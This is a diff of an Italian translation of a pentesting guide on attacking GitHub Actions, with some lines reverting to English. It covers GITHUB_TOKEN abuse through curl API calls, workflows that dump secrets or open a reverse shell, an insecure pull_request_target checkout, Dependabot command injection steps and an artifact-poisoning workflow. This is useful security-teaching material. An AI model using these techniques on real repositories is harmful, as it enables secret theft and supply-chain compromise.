Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -1,56 +1,56 @@
-# Abusing Github Actions
+# Abuso di Github Actions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Tools
+## Strumenti
 
-I seguenti strumenti sono utili per trovare i flussi di lavoro di Github Action e persino trovare quelli vulnerabili:
+The following tools are useful to find Github Action workflows and even find vulnerable ones:
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
 - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Controlla anche la sua checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
 
-## Basic Information
+## Informazioni di base
 
 In questa pagina troverai:
 
-- Un **riassunto di tutti gli impatti** di un attaccante che riesce ad accedere a una Github Action
-- Modi diversi per **ottenere accesso a un'azione**:
-- Avere **permessi** per creare l'azione
-- Abusare dei trigger relativi alle **pull request**
+- Un **riassunto di tutti gli impatti** che un attaccante può causare ottenendo accesso a una Github Action
+- Diverse modalità per **ottenere accesso a un action**:
+- Avere i **permessi** per creare l'action
+- Abusare dei trigger legati ai **pull request**
 - Abusare di **altre tecniche di accesso esterno**
-- **Pivotare** da un repo già compromesso
-- Infine, una sezione sulle **tecniche di post-exploitation per abusare di un'azione dall'interno** (causando gli impatti menzionati)
+- **Pivoting** da un repo già compromesso
+- Infine, una sezione sulle **tecniche di post-exploitation per abusare di un action dall'interno** (per causare gli impatti menzionati)
 
-## Impacts Summary
+## Sommario degli impatti
 
-Per un'introduzione su [**Github Actions controlla le informazioni di base**](../basic-github-information.md#github-actions).
+Per un'introduzione su [**Github Actions consulta le informazioni di base**](../basic-github-information.md#github-actions).
 
 Se puoi **eseguire codice arbitrario in GitHub Actions** all'interno di un **repository**, potresti essere in grado di:
 
-- **Rubare segreti** montati nella pipeline e **abusare dei privilegi della pipeline** per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP.
-- **Compromettere distribuzioni** e altri **artifacts**.
-- Se la pipeline distribuisce o memorizza risorse, potresti alterare il prodotto finale, abilitando un attacco alla catena di fornitura.
-- **Eseguire codice in worker personalizzati** per abusare della potenza di calcolo e pivotare verso altri sistemi.
+- **Rubare secrets** montati nella pipeline e **abusare dei privilegi della pipeline** per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP.
+- **Compromettere deployment** e altri **artifacts**.
+- Se la pipeline effettua deploy o memorizza asset, potresti alterare il prodotto finale, abilitando un supply chain attack.
+- **Eseguire codice in custom workers** per abusare della potenza di calcolo e pivotare verso altri sistemi.
 - **Sovrascrivere il codice del repository**, a seconda dei permessi associati al `GITHUB_TOKEN`.
 
 ## GITHUB_TOKEN
 
-Questo "**segreto**" (proveniente da `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) viene fornito quando l'amministratore abilita questa opzione:
+This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-Questo token è lo stesso che una **Github Application utilizzerà**, quindi può accedere agli stessi endpoint: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github dovrebbe rilasciare un [**flow**](https://github.com/github/roadmap/issues/74) che **consente l'accesso cross-repository** all'interno di GitHub, in modo che un repo possa accedere ad altri repo interni utilizzando il `GITHUB_TOKEN`.
+> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
 
 Puoi vedere i possibili **permessi** di questo token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-Nota che il token **scade dopo il completamento del lavoro**.\
-Questi token assomigliano a questo: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Nota che il token **scade dopo che il job è terminato**.\
+Questi token assomigliano a: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
 Alcune cose interessanti che puoi fare con questo token:
 
@@ -66,7 +66,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
 -d "{\"commit_title\":\"commit_title\"}"
 ```
 {{#endtab }}
-{{#tab name="Approva PR" }}
+{{#tab name="Approve PR" }}
 ```bash
 # Approve a PR
 curl -X POST \
@@ -77,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
 -d '{"event":"APPROVE"}'
 ```
 {{#endtab }}
-{{#tab name="Crea PR" }}
+{{#tab name="Create PR" }}
 ```bash
 # Create a PR
 curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Nota che in diverse occasioni potrai trovare **token utente github all'interno delle variabili d'ambiente di Github Actions o nei segreti**. Questi token possono darti più privilegi sul repository e sull'organizzazione.
+> Nota che in diverse occasioni potrai trovare **github user tokens inside Github Actions envs or in the secrets**. Questi tokens possono darti più privilegi sul repository e sull'organizzazione.
 
 <details>
 
-<summary>Elenca i segreti nell'output di Github Action</summary>
+<summary>Elenca i secrets nell'output di Github Action</summary>
 ```yaml
 name: list_env
 on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Ottieni una reverse shell con segreti</summary>
+<summary>Ottieni reverse shell con secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-È possibile controllare i permessi concessi a un Github Token nei repository di altri utenti **controllando i log** delle azioni:
+È possibile verificare i permessi assegnati a un Github Token nei repository di altri utenti **controllando i log** delle actions:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
-## Esecuzione Consentita
+## Esecuzione consentita
 
 > [!NOTE]
-> Questo sarebbe il modo più semplice per compromettere le azioni di Github, poiché questo caso presuppone che tu abbia accesso per **creare un nuovo repo nell'organizzazione**, o abbia **privilegi di scrittura su un repository**.
+> Questo sarebbe il modo più semplice per compromettere Github actions, poiché questo scenario presuppone che tu abbia accesso a **creare un nuovo repo nell'organizzazione**, oppure abbia **privilegi di scrittura su un repository**.
 >
-> Se ti trovi in questo scenario, puoi semplicemente controllare le [tecniche di Post Exploitation](#post-exploitation-techniques-from-inside-an-action).
+> Se ti trovi in questo scenario puoi semplicemente consultare i [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
 
-### Esecuzione dalla Creazione del Repo
+### Esecuzione dalla creazione del repository
 
-Nel caso in cui i membri di un'organizzazione possano **creare nuovi repo** e tu possa eseguire azioni github, puoi **creare un nuovo repo e rubare i segreti impostati a livello di organizzazione**.
+Se i membri di un'organizzazione possono **creare nuovi repos** e tu puoi eseguire github actions, puoi **creare un nuovo repo e rubare i secrets impostati a livello di organizzazione**.
 
-### Esecuzione da un Nuovo Branch
+### Esecuzione da un nuovo branch
 
-Se puoi **creare un nuovo branch in un repository che contiene già un'azione Github** configurata, puoi **modificarla**, **caricare** il contenuto e poi **eseguire quell'azione dal nuovo branch**. In questo modo puoi **esfiltrare i segreti a livello di repository e organizzazione** (ma devi sapere come si chiamano).
+Se puoi **creare un nuovo branch in un repository che contiene già una Github Action** configurata, puoi **modificarla**, **caricare** il contenuto e poi **eseguire quell'action dal nuovo branch**. In questo modo puoi **esfiltrare secrets a livello di repository e organizzazione** (ma devi sapere come si chiamano).
 
-Puoi rendere l'azione modificata eseguibile **manualmente,** quando viene **creato un PR** o quando **alcuni codici vengono caricati** (a seconda di quanto vuoi essere evidente):
+> [!WARNING]
+> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
+
+Puoi rendere l'action modificata eseguibile **manualmente,** quando viene **creata una PR** o quando viene **pushato del codice** (a seconda di quanto rumore vuoi fare):
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -177,49 +180,49 @@ branches:
 ```
 ---
 
-## Esecuzione Forked
+## Esecuzione da fork
 
 > [!NOTE]
-> Ci sono diversi trigger che potrebbero consentire a un attaccante di **eseguire un Github Action di un altro repository**. Se quelle azioni attivabili sono configurate male, un attaccante potrebbe essere in grado di comprometterle.
+> Ci sono diversi trigger che potrebbero permettere a un attacker di **eseguire una Github Action di un altro repository**. Se quelle action triggerabili sono mal configurate, un attacker potrebbe riuscire a comprometterle.
 
 ### `pull_request`
 
-Il trigger del workflow **`pull_request`** eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: per impostazione predefinita, se è la **prima volta** che stai **collaborando**, un **maintainer** dovrà **approvare** l'**esecuzione** del workflow:
+Il workflow trigger **`pull_request`** eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: di default, se è la **prima volta** che stai **collaborando**, qualche **maintainer** dovrà **approvare** la **run** del workflow:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Poiché la **limitazione predefinita** è per i **contributori alla prima esperienza**, potresti contribuire **correggendo un bug/typo valido** e poi inviare **altre PR per abusare dei tuoi nuovi privilegi di `pull_request`**.
+> Poiché la **limitazione di default** vale per i **contributor alla prima esperienza**, potresti contribuire **correggendo un bug/typo valido** e poi inviare **altre PR per abusare dei tuoi nuovi privilegi `pull_request`**.
 >
-> **Ho testato questo e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e ha cancellato il suo account.~~
+> **Ho testato questo e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e cancellare il suo account.~~
 
-Inoltre, per impostazione predefinita **previene i permessi di scrittura** e **l'accesso ai segreti** al repository target come menzionato nella [**documentazione**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Inoltre, di default **vengono bloccati i permessi di scrittura** e **l'accesso ai secrets** al repository di destinazione come indicato nei [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
-> Con l'eccezione di `GITHUB_TOKEN`, **i segreti non vengono passati al runner** quando un workflow è attivato da un repository **forked**. Il **`GITHUB_TOKEN` ha permessi di sola lettura** nelle pull request **da repository forked**.
+> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
 
-Un attaccante potrebbe modificare la definizione del Github Action per eseguire cose arbitrarie e aggiungere azioni arbitrarie. Tuttavia, non sarà in grado di rubare segreti o sovrascrivere il repo a causa delle limitazioni menzionate.
+Un attacker potrebbe modificare la definizione della Github Action per eseguire comandi arbitrari e aggiungere action arbitrarie. Tuttavia, non sarà in grado di rubare i secrets o sovrascrivere il repo a causa delle limitazioni menzionate.
 
 > [!CAUTION]
-> **Sì, se l'attaccante cambia nella PR l'azione github che verrà attivata, la sua Github Action sarà quella utilizzata e non quella del repository originale!**
+> **Sì, se l'attacker cambia nella PR la github action che verrà triggerata, la sua Github Action sarà quella usata e non quella del repo di origine!**
 
-Poiché l'attaccante controlla anche il codice eseguito, anche se non ci sono segreti o permessi di scrittura sul `GITHUB_TOKEN`, un attaccante potrebbe ad esempio **caricare artefatti malevoli**.
+Poiché l'attacker controlla anche il codice eseguito, anche se non ci sono secrets o permessi di scrittura sul `GITHUB_TOKEN`, un attacker potrebbe per esempio **uploadare artifacts maligni**.
 
 ### **`pull_request_target`**
 
-Il trigger del workflow **`pull_request_target`** ha **permessi di scrittura** al repository target e **accesso ai segreti** (e non richiede permesso).
+Il workflow trigger **`pull_request_target`** ha **permessi di scrittura** sul repository di destinazione e **accesso ai secrets** (e non richiede approvazione).
 
-Nota che il trigger del workflow **`pull_request_target`** **viene eseguito nel contesto base** e non in quello fornito dalla PR (per **non eseguire codice non attendibile**). Per ulteriori informazioni su `pull_request_target` [**controlla la documentazione**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Inoltre, per ulteriori informazioni su questo specifico uso pericoloso, controlla questo [**post del blog di github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Nota che il workflow trigger **`pull_request_target`** **gira nel contesto base** e non in quello fornito dalla PR (per **non eseguire codice non affidabile**). Per maggiori dettagli su `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Inoltre, per informazioni su questo uso specifico pericoloso consulta questo [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-Potrebbe sembrare che poiché il **workflow eseguito** è quello definito nel **base** e **non nella PR**, sia **sicuro** utilizzare **`pull_request_target`**, ma ci sono **alcuni casi in cui non lo è**.
+Potrebbe sembrare che, dato che il **workflow eseguito** è quello definito nella **base** e non in quello della PR, sia **sicuro** usare **`pull_request_target`**, ma ci sono **alcuni casi in cui non lo è**.
 
-E questo avrà **accesso ai segreti**.
+E questo avrà **accesso ai secrets**.
 
 ### `workflow_run`
 
-Il trigger [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) consente di eseguire un workflow da un altro quando è `completato`, `richiesto` o `in_progress`.
+Il trigger [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permette di eseguire un workflow da un altro quando questo è `completed`, `requested` o `in_progress`.
 
-In questo esempio, un workflow è configurato per essere eseguito dopo che il separato workflow "Esegui Test" è completato:
+In questo esempio, un workflow è configurato per essere eseguito dopo che il workflow separato "Run Tests" è completato:
 ```yaml
 on:
 workflow_run:
@@ -227,31 +230,31 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-Inoltre, secondo la documentazione: Il workflow avviato dall'evento `workflow_run` è in grado di **accedere ai segreti e scrivere token, anche se il workflow precedente non lo era**.
+Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
 
-Questo tipo di workflow potrebbe essere attaccato se **dipende** da un **workflow** che può essere **attivato** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**trovati in questo blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Il primo consiste nel workflow attivato da **`workflow_run`** che scarica il codice degli attaccanti: `${{ github.event.pull_request.head.sha }}`\
-Il secondo consiste nel **passare** un **artifact** dal codice **non attendibile** al workflow **`workflow_run`** e utilizzare il contenuto di questo artifact in un modo che lo rende **vulnerabile a RCE**.
+Questo tipo di workflow può essere attaccato se dipende da un **workflow** che può essere **triggered** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**trovati in questo blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). Il primo consiste nel workflow attivato da **`workflow_run`** che scarica il codice dell'attaccante: `${{ github.event.pull_request.head.sha }}`.  
+Il secondo consiste nel **passare** un **artifact** dal codice **untrusted** al workflow **`workflow_run`** e usare il contenuto di questo artifact in modo che lo renda **vulnerable to RCE**.
 
 ### `workflow_call`
 
 TODO
 
-TODO: Controlla se quando eseguito da un pull_request il codice utilizzato/scaricato è quello dell'origine o da PR forkato
+TODO: Verificare se quando eseguito da un `pull_request` il codice usato/scaricato è quello dell'origin o del forked PR
 
-## Abusare dell'Esecuzione Forkata
+## Abuso delle esecuzioni da fork
 
-Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe riuscire a far eseguire un workflow di github, ora diamo un'occhiata a come queste esecuzioni, se configurate male, potrebbero essere abusate:
+Abbiamo menzionato tutti i modi in cui un attaccante esterno può riuscire a far eseguire un github workflow; ora vediamo come queste esecuzioni, se configurate in modo errato, possano essere abusate:
 
-### Esecuzione di checkout non attendibile
+### Esecuzione di checkout non affidabile
 
-Nel caso di **`pull_request`,** il workflow verrà eseguito nel **contesto del PR** (quindi eseguirà il **codice malevolo del PR**), ma qualcuno deve **autorizzarlo prima** e verrà eseguito con alcune [limitazioni](#pull_request).
+Nel caso di **`pull_request`**, il workflow verrà eseguito nel **contesto della PR** (quindi eseguirà il **codice maligno della PR**), ma qualcuno deve **autorizzarlo prima** e verrà eseguito con alcune [limitazioni](#pull_request).
 
-Nel caso di un workflow che utilizza **`pull_request_target` o `workflow_run`** che dipende da un workflow che può essere attivato da **`pull_request_target` o `pull_request`**, il codice del repository originale verrà eseguito, quindi l'**attaccante non può controllare il codice eseguito**.
+Nel caso di un workflow che usa **`pull_request_target` or `workflow_run`** e che dipende da un workflow che può essere triggerato da **`pull_request_target` o `pull_request`**, verrà eseguito il codice del repo originale, quindi **l'attaccante non può controllare il codice eseguito**.
 
 > [!CAUTION]
-> Tuttavia, se l'**azione** ha un **checkout PR esplicito** che **prenderà il codice dal PR** (e non dalla base), utilizzerà il codice controllato dagli attaccanti. Ad esempio (controlla la riga 12 dove il codice del PR viene scaricato):
+> Tuttavia, se l'**action** ha un **explicit PR checkout** che **prende il codice dalla PR** (e non dalla base), userà il codice controllato dall'attaccante. Per esempio (controlla la linea 12 dove viene scaricato il codice della PR):
 
-<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Fornito solo come esempio.
+<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
 pull_request_target
 
@@ -279,32 +282,32 @@ message: |
 Thank you!
 </code></pre>
 
-Il potenziale **codice non attendibile viene eseguito durante `npm install` o `npm build`** poiché gli script di build e i pacchetti referenziati sono controllati dall'autore del PR.
+Il codice potenzialmente **untrusted viene eseguito durante `npm install` o `npm build`** poiché gli script di build e i **packages** referenziati sono controllati dall'autore della PR.
 
 > [!WARNING]
-> Un dork di github per cercare azioni vulnerabili è: `event.pull_request pull_request_target extension:yml`, tuttavia, ci sono diversi modi per configurare i lavori da eseguire in modo sicuro anche se l'azione è configurata in modo insicuro (come utilizzare condizioni su chi è l'attore che genera il PR).
+> Un github dork per cercare action vulnerabili è: `event.pull_request pull_request_target extension:yml`; tuttavia, ci sono diversi modi per configurare i job in modo sicuro anche se l'action è configurata in modo insicuro (ad esempio usando condizionali su chi è l'actor che genera la PR).
 
-### Iniezioni di Script nel Contesto <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
+### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Nota che ci sono certi [**contesti github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea il PR. Se l'azione github utilizza quei **dati per eseguire qualsiasi cosa**, potrebbe portare a **esecuzione di codice arbitrario:**
+Nota che esistono certi [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea la PR. Se la github action usa quei **dati per eseguire qualcosa**, ciò potrebbe portare a **arbitrary code execution:**
 
 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **Iniezione di Script GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
+### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-Dalla documentazione: Puoi rendere una **variabile di ambiente disponibile per qualsiasi passaggio successivo** in un lavoro di workflow definendo o aggiornando la variabile di ambiente e scrivendo questo nel file di ambiente **`GITHUB_ENV`**.
+Dalla documentazione: puoi rendere una **variabile d'ambiente disponibile ai passaggi successivi** in un job del workflow definendo o aggiornando la variabile d'ambiente e scrivendola nel file di ambiente **`GITHUB_ENV`**.
 
-Se un attaccante potesse **iniettare qualsiasi valore** all'interno di questa variabile **env**, potrebbe iniettare variabili di ambiente che potrebbero eseguire codice nei passaggi successivi come **LD_PRELOAD** o **NODE_OPTIONS**.
+Se un attaccante potesse **iniettare qualsiasi valore** in questa variabile di ambiente, potrebbe inserire variabili d'ambiente che potrebbero eseguire codice nei passaggi successivi come **LD_PRELOAD** o **NODE_OPTIONS**.
 
-Ad esempio ([**questo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**questo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un workflow che si fida di un artifact caricato per memorizzare il suo contenuto all'interno della variabile di ambiente **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:
+Per esempio ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un workflow che si fida di un artifact caricato per memorizzarne il contenuto nella variabile di ambiente **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
-### Dependabot e altri bot fidati
+### Dependabot e altri bot affidabili
 
-Come indicato in [**questo post del blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), diverse organizzazioni hanno un'azione Github che unisce qualsiasi PRR da `dependabot[bot]` come in:
+Come indicato in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), molte organizzazioni hanno una Github Action che merge qualsiasi PR da `dependabot[bot]` come in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Qual è un problema perché il campo `github.actor` contiene l'utente che ha causato l'ultimo evento che ha attivato il workflow. E ci sono diversi modi per far sì che l'utente `dependabot[bot]` modifichi un PR. Ad esempio:
+Questo è un problema perché il campo `github.actor` contiene l'utente che ha causato l'ultimo evento che ha attivato il workflow. E ci sono diversi modi per far sì che l'utente `dependabot[bot]` modifichi una PR. Per esempio:
 
-- Forkare il repository della vittima
-- Aggiungere il payload malevolo alla tua copia
-- Abilitare Dependabot sul tuo fork aggiungendo una dipendenza obsoleta. Dependabot creerà un branch per correggere la dipendenza con codice malevolo.
-- Aprire una Pull Request al repository della vittima da quel branch (il PR sarà creato dall'utente quindi non succederà nulla per ora)
-- Poi, l'attaccante torna al PR iniziale che Dependabot ha aperto nel suo fork e esegue `@dependabot recreate`
-- Poi, Dependabot esegue alcune azioni in quel branch, che modificano il PR sul repository della vittima, il che rende `dependabot[bot]` l'attore dell'ultimo evento che ha attivato il workflow (e quindi, il workflow viene eseguito).
+- Fork del repository vittima
+- Aggiungi il payload malevolo alla tua copia
+- Abilita Dependabot sul tuo fork aggiungendo una dependency obsoleta. Dependabot creerà una branch che sistema la dependency con codice malevolo.
+- Apri una Pull Request al repository vittima da quella branch (la PR sarà creata dall'utente quindi non succederà ancora nulla)
+- Poi, l'attaccante ritorna alla PR iniziale che Dependabot ha aperto nel suo fork ed esegue `@dependabot recreate`
+- Successivamente, Dependabot esegue alcune azioni in quella branch, che modificano la PR sul repository vittima, il che rende `dependabot[bot]` l'actor dell'ultimo evento che ha attivato il workflow (e quindi il workflow viene eseguito).
 
-Passando oltre, cosa succede se invece di unire, l'azione Github avesse un'iniezione di comando come in:
+Proseguendo, cosa succede se, invece di un merge, la Github Action contenesse una command injection come in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -333,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Bene, il post originale propone due opzioni per abusare di questo comportamento, la seconda è:
+Il post originale propone due opzioni per abusare di questo comportamento; quella descritta qui è la seconda:
 
-- Forkare il repository della vittima e abilitare Dependabot con qualche dipendenza obsoleta.
-- Creare un nuovo branch con il codice di iniezione di shell malevolo.
-- Cambiare il branch predefinito del repo in quello.
-- Creare una PR da questo branch al repository della vittima.
+- Forkare il repository della vittima e abilitare Dependabot con una dipendenza obsoleta.
+- Creare un nuovo branch con il codice malevolo di shell injection.
+- Cambiare il branch di default del repo su quello.
+- Creare una PR da questo branch verso il repository vittima.
 - Eseguire `@dependabot merge` nella PR che Dependabot ha aperto nel suo fork.
-- Dependabot unirà le sue modifiche nel branch predefinito del tuo repository forkato, aggiornando la PR nel repository della vittima, rendendo ora `dependabot[bot]` l'attore dell'ultimo evento che ha attivato il workflow e utilizzando un nome di branch malevolo.
+- Dependabot unirà i suoi cambiamenti nel branch di default del tuo repository forkato, aggiornando la PR nel repository vittima, facendo ora sì che `dependabot[bot]` sia l'attore dell'ultimo evento che ha attivato il workflow e usando un nome di branch malevolo.
 
-### Github Actions di Terze Parti Vulnerabili
+### Github Actions di terze parti vulnerabili
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Come menzionato in [**questo post del blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Github Action consente di accedere agli artifact da diversi workflow e persino repository.
+Come menzionato in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Github Action permette di accedere ad artifact provenienti da workflow diversi e persino da altri repository.
 
-Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere utilizzati o persino eseguiti nel workflow. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusarne per compromettere altri workflow che si fidano dell'Artifact.
+Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere poi utilizzati o anche eseguiti nel workflow. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusarne per compromettere altri workflow che si fidano dell'Artifact.
 
 Esempio di workflow vulnerabile:
 ```yaml
@@ -373,7 +376,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-Questo potrebbe essere attaccato con questo flusso di lavoro:
+Questo può essere attaccato con il seguente workflow:
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -392,25 +395,25 @@ path: ./script.py
 
 ## Altri Accessi Esterni
 
-### Hijacking di Namespace Repo Cancellati
+### Deleted Namespace Repo Hijacking
 
-Se un account cambia nome, un altro utente potrebbe registrare un account con quel nome dopo un po' di tempo. Se un repository aveva **meno di 100 stelle prima del cambio di nome**, Github permetterà al nuovo utente registrato con lo stesso nome di creare un **repository con lo stesso nome** di quello cancellato.
+Se un account cambia il suo nome, un altro utente potrebbe registrare un account con quel nome dopo un certo periodo. Se un repository aveva **meno di 100 stars prima del cambio di nome**, Github permetterà al nuovo utente registrato con lo stesso nome di creare un **repository with the same name** as the one deleted.
 
 > [!CAUTION]
-> Quindi, se un'azione sta utilizzando un repo da un account inesistente, è ancora possibile che un attaccante possa creare quell'account e compromettere l'azione.
+> Quindi se un action sta usando un repo di un account inesistente, è ancora possibile che un attacker possa creare quell'account e compromise l'action.
 
-Se altri repository stavano utilizzando **dipendenze da questi repo utente**, un attaccante sarà in grado di hijackarli. Qui hai una spiegazione più completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Se altri repository stavano usando **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
 ## Repo Pivoting
 
 > [!NOTE]
-> In questa sezione parleremo di tecniche che permetterebbero di **pivotare da un repo a un altro** supponendo di avere qualche tipo di accesso al primo (controlla la sezione precedente).
+> In questa sezione parleremo di tecniche che permetterebbero di **pivot from one repo to another** supponendo che abbiamo qualche tipo di accesso sul primo (vedi la sezione precedente).
 
 ### Cache Poisoning
 
-Una cache è mantenuta tra **le esecuzioni del workflow nella stessa branch**. Ciò significa che se un attaccante **compromette** un **pacchetto** che viene poi memorizzato nella cache e **scaricato** ed eseguito da un **workflow più privilegiato**, sarà in grado di **compromettere** anche quel workflow.
+Una cache viene mantenuta tra **wokflow runs in the same branch**. Questo significa che se un attacker **compromise** un **package** che viene poi memorizzato nella cache e **downloaded** ed eseguito da un **more privileged** workflow, sarà in grado di **compromise** anche quel workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
@@ -418,7 +421,7 @@ gh-actions-cache-poisoning.md
 
 ### Artifact Poisoning
 
-I workflow potrebbero utilizzare **artifacts da altri workflow e persino repo**. Se un attaccante riesce a **compromettere** l'azione Github che **carica un artifact** che viene poi utilizzato da un altro workflow, potrebbe **compromettere gli altri workflow**:
